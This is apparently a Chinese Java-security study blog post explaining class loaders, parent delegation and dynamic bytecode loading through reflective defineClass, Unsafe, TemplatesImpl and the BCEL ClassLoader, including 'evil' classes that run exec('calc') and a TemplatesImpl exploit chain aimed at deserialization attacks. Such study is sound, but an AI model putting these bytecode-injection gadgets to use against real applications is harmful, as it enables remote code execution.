类加载器 类加载器ClassLoader是用来将一个class类加载到JVM虚拟机的,JVM在实例化一个对象的时候会在虚拟机寻找Class对象,然后将其实例化,而这个ClassLoader就是具体实现这个寻找Class对象的东西,可以简单理解为Class对象就是用ClassLoader加载和初始化的
java里面有四种常见的类加载器
虚拟机自带的加载器
启动类(根)加载器
扩展类加载器
应用程序加载器
引导类加载器(BootstrapClassLoader) 他是引导加载器,由C++编写,加载 包名为 java、javax、sun 等开头的类 ,属于JVM虚拟机的一部分,其代码存储在/jre/lib/rt.jar
扩展类加载器(ExtensionsClassLoader) 在sun.misc.Launcher$ExtClassLoader实现,加载/jre/lib/ext和java.ext.dirs的java拓展库
App类加载器(AppClassLoader) 系统类加载器,他加载Classpath环境变量里面的类,可以直接由ClassLoader.getSystemClassLoader()获得,我们一般编写的类都是使用的这个类加载器
双亲委派机制
简单来讲就是在类加载的时候是按照 BOOT —> EXC —-> APP 的顺序往下寻找类加载器的,比如说如果Boot类加载器找不到对应的Class文件则会交给下面的类加载器Extension加载,然后一次类推知道找到能够加载的类加载器,这样做到目的是为了安全考虑
如果我们自己编写了java自带的类,比如说java.lang.String,那岂不是乱套了,我们可以随意修改java自带库的内容,然后往里面塞点恶意代码,很显然这是不允许的,当我们创建了一个自定义的java.lang.String,JVM在加载这个类的时候首先会使用BootstrapLoader加载,发现这个加载器能加载,所以就直接把/jre/lib/rt.jar里面的String使用,而我们自定义的String类就不会加载进来
如果我们最开始就使用AppLoader去加载这个String类行不行呢,很明显是不行的,因为这个双亲委派机制在最开始的时候AppLoader加载会先交个上一级的类加载进行加载,上一级的再继续往上上级委派,最终委派到最高级发现BootLoader能够加载那他就直接在最高级那加载了,不会回到AppLoader,除非上面的加载器都加载不了才会交给AppLoader加载
各场景下代码块加载顺序
静态代码块:static{}
构造代码块:{}
无参构造器:ClassName()
有参构造器:ClassName(String name)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package ClassLoad;public class load { public static void main (String[] args) { Role role = new Role (); } } class Role { private String name; static { System.out.println("静态代码块执行" ); } { System.out.println("构造代码块执行" ); } public Role () { System.out.println("无参构造器执行" ); } public Role (String name) { this .name = name; System.out.println("有参构造器执行" ); } }
由该代码可以知道,先执行static,然后执行构造代码块,最后执行构造器函数
调用静态方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 vpackage ClassLoad; public class load { public static void main (String[] args) { Role.staticFunc(); } } class Role { private String name; public static void staticFunc () { System.out.println("静态方法" ); } static { System.out.println("静态代码块执行" ); } { System.out.println("构造代码块执行" ); } public Role () { System.out.println("无参构造器执行" ); } public Role (String name) { this .name = name; System.out.println("有参构造器执行" ); } }
在调用静态方法时会先执行静态代码块
对类中的静态成员变量赋值 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package ClassLoad;public class load { public static void main (String[] args) { Role.name = "pysnow" ; } } class Role { public static String name; static { System.out.println("静态代码块执行" ); } { System.out.println("构造代码块执行" ); } public Role () { System.out.println("无参构造器执行" ); } public Role (String name) { this .name = name; System.out.println("有参构造器执行" ); } }
一样的对静态属性进行赋值的时候会先执行静态代码块
使用 class 获取类 这个在前面反射的时候讲过
执行xxx.class是不会进行类初始化,所以这里没有输出
forName 获取类 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package ClassLoad;public class load { public static void main (String[] args) throws ClassNotFoundException { Class roleclass = Class.forName("ClassLoad.Role" ); System.out.println("------------------" ); Class role2 = Class.forName("ClassLoad.Role" ,false ,ClassLoader.getSystemClassLoader()); } } class Role { public static String name; static { System.out.println("静态代码块执行" ); } { System.out.println("构造代码块执行" ); } public Role () { System.out.println("无参构造器执行" ); } public Role (String name) { this .name = name; System.out.println("有参构造器执行" ); } }
这个也是,Class.forName的第二个参数如果为true则等价于第一条代码,第二个参数是控制是否进行类初始化的,如果为true则调用static静态代码块
如果为false则就只执行了ClassLoader.loadClass,这个方法时不会进行类初始化的
他就相当于这样
动态加载字节码 字节码 字节码就是.class文件,java通过编译器将.java或者其他语言的源代码编译成统一的.class文件,然后JVM虚拟机加载这些class文件,这个class文件里面放着的就是java字节码
类加载原理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package ClassLoad;public class ClassLoad { public static void main (String[] args) throws ClassNotFoundException { ClassLoader loader = ClassLoader.getSystemClassLoader(); loader.loadClass("ClassLoad.student" ); } } class student { static { System.out.println("student类初始化" ); } }
调试一下loadClass看下
首先进入一个参数的loadClass函数里面
然后添加一个false参数进入到loadClass(String var1, boolean var2)里面
前面是安全机制的代码,直到走到最后一步super.loadClass(var1, var2);
这里就是双亲委派的具体实现了,交给了上一级的CLassLoader进行加载
这里就是进入到ExtClassLoader的loadClass
这里parent因为是BootstrapLoader是java的native方法所以是null,所以直接使用findBootstrapClassOrNull来判断Boot能否加载,这里返回结果是null不能加载,所以继续往下运行findClass,使用ExtCLassLoader判断是否能加载
可以看到这里进入到了URLCLasloader的findClass,这是因为Ext的父类是URLCLassLoader
然后在里面执行defineClass
看下调用堆栈
1 2 3 4 5 6 7 8 9 10 defineClass:444 , URLClassLoader (java.net) access$100 :73 , URLClassLoader (java.net) run:368 , URLClassLoader$1 (java.net) run:362 , URLClassLoader$1 (java.net) doPrivileged:-1 , AccessController (java.security) findClass:361 , URLClassLoader (java.net) loadClass:424 , ClassLoader (java.lang) loadClass:331 , Launcher$AppClassLoader (sun.misc) loadClass:357 , ClassLoader (java.lang) checkAndLoadMain:495 , LauncherHelper (sun.launcher)
ClassLoader —-> SecureClassLoader —> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()
所以这里实际上是交给URLCLassLoader来加载的,他是APPClassLoader的父类,这就是 默认的 Java 类加载器的工作流程
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类。
类加载流程
loadClass() 的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;
findClass() 根据URL指定的方式来加载类的字节码,其中会调用defineClass();
defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类
所以类加载的核心是defineClass,是他让一个class字节码文件的字节流加载成JVM虚拟机里面的Class对象
name为类名,b为字节码数组,off为偏移量,len为字节码数组的长度。
这个是一个保护的方法,我们通过反射看能不能加载类
evil.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package ClassLoad;import java.io.IOException;public class evil { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
define.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package ClassLoad;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;public class define { public static void main (String[] args) throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Method method = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); method.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\evil.class" )); Class c = (Class) method.invoke(classLoader, "ClassLoad.evil" , code, 0 , code.length); c.newInstance(); } }
我们平时利用的时候,由于他的作用域问题基本不会用到这个CLassLoader.defineClass
Unsafe 加载字节码 Unsafe类是一个java底层类,主要用于执行非常底层、不安全操作的方法,例如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源调度能力方面起到了很大的作用。
就是因为他的特性导致我们这个在使用时有很多限制,在上面可以看到这个类的构造方法是private私有的,而且他的基本上都是native方法。再看一下他唯一对外能够调用的方法
getUnsafe,这个静态方法能够获取当前的UnSafe类的实例,但是会先判断当前的CLassLoader是否为空,而空类加载就是BootstrapCLassLoader,所以这个类只能被BootstrapCLassLoader类加载器调用,不能被用户使用的AppCLassLoader等调用
但是我们可以通过万能的反射来获取实例进行调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public native Object allocateInstance (Class<?> cls) throws InstantiationException; public native long objectFieldOffset (Field f) ; public native Object staticFieldBase (Field f) ;public native long staticFieldOffset (Field f) ; public native int getInt (Object o, long offset) ;public native void putInt (Object o, long offset, int x) ; public native Object getObject (Object o, long offset) ;public native void putObject (Object o, long offset, Object x) ;); public native void putIntVolatile (Object o, long offset, int x) ;public native int getIntVolatile (Object o, long offset) ; public native void putOrderedInt (Object o, long offset, int x) ;
1 2 3 4 5 6 7 8 9 10 11 12 public native long staticFieldOffset (Field f) ;public native Object staticFieldBase (Field f) ;public native boolean shouldBeInitialized (Class<?> c) ;public native void ensureClassInitialized (Class<?> c) ;public native Class<?> defineClass(String name, byte [] b, int off, int len, ClassLoader loader, ProtectionDomain protectionDomain);public native Class<?> defineAnonymousClass(Class<?> hostClass, byte [] data, Object[] cpPatches);
这里我们可以使用defineClass动态加载字节码
这里成功加载类之后得newIntance创建实例才能调用计算机
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package ClassLoad;import sun.misc.Unsafe;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.security.ProtectionDomain;public class unsafe { public static void main (String[] args) throws Exception { Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe" ); unsafeField.setAccessible(true ); Unsafe unsafe = (Unsafe) unsafeField.get(null ); byte [] code = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\evil.class" )); Method defineUnsafe = Unsafe.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class, ClassLoader.class, ProtectionDomain.class); defineUnsafe.setAccessible(true ); Class exp = (Class) defineUnsafe.invoke(unsafe,"ClassLoad.evil" ,code,0 ,code.length,ClassLoader.getSystemClassLoader(),null ); exp.newInstance(); } }
TemplatesImpl 加载字节码 这个是一个非常重要的加载字节码的方式,在后面反序列化以及Fastjson经常会用到
我们可以看到这个TemplateImpl继承了Templates接口,还有一个内部类TransletClassLoader,这个类继承的CLassLoader,并且重写了defineClass方法,且作用域是default,可以被外部调用
接着可以看到在TemplatesImpl#defineTransletClasses()里面调用了该defineClass方法
接着我们继续网上面找看谁调用了defineTransletClasses
最终可以在TemplatesImpl#getTransletInstance()找到调用,需要_class属性为空
继续往上找发现是TemplatesImpl#newTransformer(),他这个很明显就是构造函数的封装
最后找到TemplatesImpl#getOutputProperties()用于获取TemplateImpl实例,也是Templates接口里面的方法
最终写出调用顺序
1 2 3 4 5 TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
我们可以看到只有最前面两个方法是可以直接调用的,getOutputProperties和newTransformer,他们的作用域都是public,可以被外部调用,接着我们使用TemplatesImpl#newTransformer()简单得加载一下恶意字节码
讲解一些各个属性怎么赋值的
首先defineClass传入的参数作为做节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
接着是defineTransletClasses方法,这里有三个注意点,第一_bytecodes属性不为空,第二调用_tfactory的getExternalExtensionsMap()方法不报错,所以需要让_tfactory这个参数为TransformerFactoryImpl,这里我们可以Ctrl跟进这个方法就知道了
第三就是判断这个生成的Class对象的父类是否是
也就说说这个bytes字节码加载进来必须继承AbstractTranslet对象
再到getTransletInstance方法里面限制了_name参数不为空,_class参数为空
后面还对define加载的Class对象进行实例化,所以我们只需要将恶意代码给塞到静态代码块里就能够RCE
首先编写字节码文件的源代码,然后编译出来,这里定义的类必须继承AbstractTranslet,因为在defineTransletClasses方法那有检查父类是否为AbstractTranslet的操作,如果不是则就报错了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package ClassLoad;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class TemplateCode extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
可以看到这就是不继承的结果
运行到这一步就抛出错误了
最后是整体的通过newInstance方法RCE的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package ClassLoad;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.IOException;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class templateimpl { public static void main (String[] args) throws Exception { TemplatesImpl template = new TemplatesImpl (); byte [] codes = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class" )); setField(template,"_name" ,"pysnow" ); setField(template,"_bytecodes" ,new byte [][] {codes}); setField(template,"_tfactory" ,new TransformerFactoryImpl ()); template.newTransformer(); } public static void setField (Object object,String name,Object value) throws Exception { Field field= object.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(object,value); } }
成功弹出计算器
利用 BCEL ClassLoader 加载字节码 com.sun.org.apache.bcel.internal.util.ClassLoader
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。
介绍 Apache Commons BCEL,是Apache Commons项目下的一个子项目 ,与ComomonCollections不同的是BCEL这个库是jdk原生自带的库,把BCEL库放在JDK里面主要是为了支撑JAXP, JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL
其中 Apache Xalan 负责了 XSLT ,他是对用于处理XMl的一种拓展
XSLT(扩展样式表转换语言)是一种为可扩展置标语言提供表达形式而设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一门动态“语言”,在Java中必然会先被编译成class,才能够执行。
也就是说XSLT是将XML编译成java字节码,编译出来的class文件被称为 translet,可用于后面xml文件的转换,将xslt编译成java代码主要是为了优化执行速度。
编译出来的java代码例子如下
可以看到的继承了 AbstractTranslet ,这个在前面TemplatesImpl加载字节码用到过,这个类是加载TemplatesImpl字节码必须要的父类,而 TemplatesImpl是对JAXP标准中javax.xml.transform.Templates接口的实现 。
所以说XSL文件编译成字节码本质就是动态加载字节码,将xsl文件加载成class对象, 所以Apache Xalan是依赖BCEL的。
使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package ClassLoad;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;public class BCEL { public static void main (String[] args) throws Exception { Class evil = Class.forName("ClassLoad.evil" ); JavaClass bcel = Repository.lookupClass(evil); String encoded = Utility.encode(bcel.getBytes(),true ); System.out.println(encoded); } }
主要使用到了两个类,Repository 和 Utility
Repository 用于将一个Java Class 先转换成原生字节码
Utility 用于将原生的字节码转换成BCEL格式的字节码
接着我们使用BCEL的CLassLoader来加载他,然后将加载进来的Class对象进行实例化,可以看到实例化后弹出了计算器
这里要注意的点是加载是需要将生成的BCEL字节码前面加上**$$BCEL$$ **
这里为什么需要加上这样一个前缀呢,我们可以调试一下看看
进入loadClass方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 protected Class loadClass (String class_name, boolean resolve) throws ClassNotFoundException { Class cl = null ; if ((cl=(Class)classes.get(class_name)) == null ) { for (int i=0 ; i < ignored_packages.length; i++) { if (class_name.startsWith(ignored_packages[i])) { cl = deferTo.loadClass(class_name); break ; } } if (cl == null ) { JavaClass clazz = null ; if (class_name.indexOf("$$BCEL$$" ) >= 0 ) clazz = createClass(class_name); else { if ((clazz = repository.loadClass(class_name)) != null ) { clazz = modifyClass(clazz); } else throw new ClassNotFoundException (class_name); } if (clazz != null ) { byte [] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0 , bytes.length); } else cl = Class.forName(class_name); } if (resolve) resolveClass(cl); } classes.put(class_name, cl); return cl; }
最开始判断开头是否为java.等等,如果是则使用原生的CLassLoader进去加载
接着又判断开头是否为$$BCEL$$,如果是则进入createClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 protected JavaClass createClass (String class_name) { int index = class_name.indexOf("$$BCEL$$" ); String real_name = class_name.substring(index + 8 ); JavaClass clazz = null ; try { byte [] bytes = Utility.decode(real_name, true ); ClassParser parser = new ClassParser (new ByteArrayInputStream (bytes), "foo" ); clazz = parser.parse(); } catch (Throwable e) { e.printStackTrace(); return null ; } ConstantPool cp = clazz.getConstantPool(); ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(), Constants.CONSTANT_Class); ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(), Constants.CONSTANT_Utf8); name.setBytes(class_name.replace('.' , '/' )); return clazz; }
在createClass里面获取真实的bcel字节码,也就是去掉前面的$$BCEL$$前缀,生成时完整的字节码
然后将解密的class返回
最后将解密出来的字节码使用defineClass进行加载
最后 在8u251及之后的JDK版本中,BCEL ClassLoader com.sun.org.apache.bcel.internal.util.ClassLoader 这个类被移除了